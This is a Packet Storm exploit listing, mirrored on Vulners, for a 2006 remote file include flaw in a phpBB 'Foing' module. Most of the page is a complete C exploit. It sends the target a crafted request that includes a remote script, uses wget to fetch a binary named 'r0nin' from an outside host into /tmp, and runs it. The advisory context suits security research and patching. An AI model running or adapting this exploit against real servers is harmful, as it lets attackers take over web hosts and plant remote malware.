Lucene search
K

Foing-xpl.txt

🗓️ 29 May 2006 00:00:00Reported by s3rv3r_hack3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

PHPBB Foing Remote File Include Vulnerability Exploi

Code
`vendor : phpbbhacks.com  
Exploit BY :s3rv3r_hack3r  
WWW : http://www.hackerz.ir  
Exploit >>>  
  
/* Foing Remote File Include exploit By s3rv3r_hack3r */  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#define PORT 80  
  
char shellop[] = "GET /index.php?phpbb_root_path=http://www.hackerz.ir/cmd.txt?cmd=cd ../../../../../../../../../../tmp;wget http://www.hackerz.ir/r0nin;"  
"chmod +X r0nin;./r0nin%60%22|\r";  
  
int main(int argc, char *argv[]) {  
  
char shell[BUFSIZ];  
int sock;  
struct sockaddr_in remop;  
  
if(argc != 2) {  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
printf("\n Iran Hackerz Security Team \n");  
printf("\n WebSite's: www.hackerz.ir & www.h4ckerz.com \n");  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
printf("\n*Foing Remote File Include Vulnerability [PHPBB]* \n");  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
printf("\nUsage: http://www.Victim.ltd/[foingpath] \n");  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
return 0; }  
  
if(argc == 2) {  
  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
printf("\nExploit By : [email protected] \n");  
printf("\n PLZ A W8 \n");  
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");  
  
  
remop.sin_family = AF_INET;  
remop.sin_port = htons(PORT);  
remop.sin_addr.s_addr = inet_addr(argv[1]);  
  
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {  
printf("\nERROR: Socket()\n\n");  
return -1; }  
  
if(connect(sock,(struct sockaddr *)&remop, sizeof(struct sockaddr)) < 0) {  
printf("\nERROR: Connect()\n\n");  
return -1; }  
  
if(send(sock,&shellop, sizeof(shellop), 0) < 0) {  
printf("\nERROR: Send()\n\n");  
return -1; }  
  
close(sock);  
sleep(3);  
  
printf("\nr0nin run seccessfuly\n\n");  
  
printf("\n"); }  
  
return 0; }  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation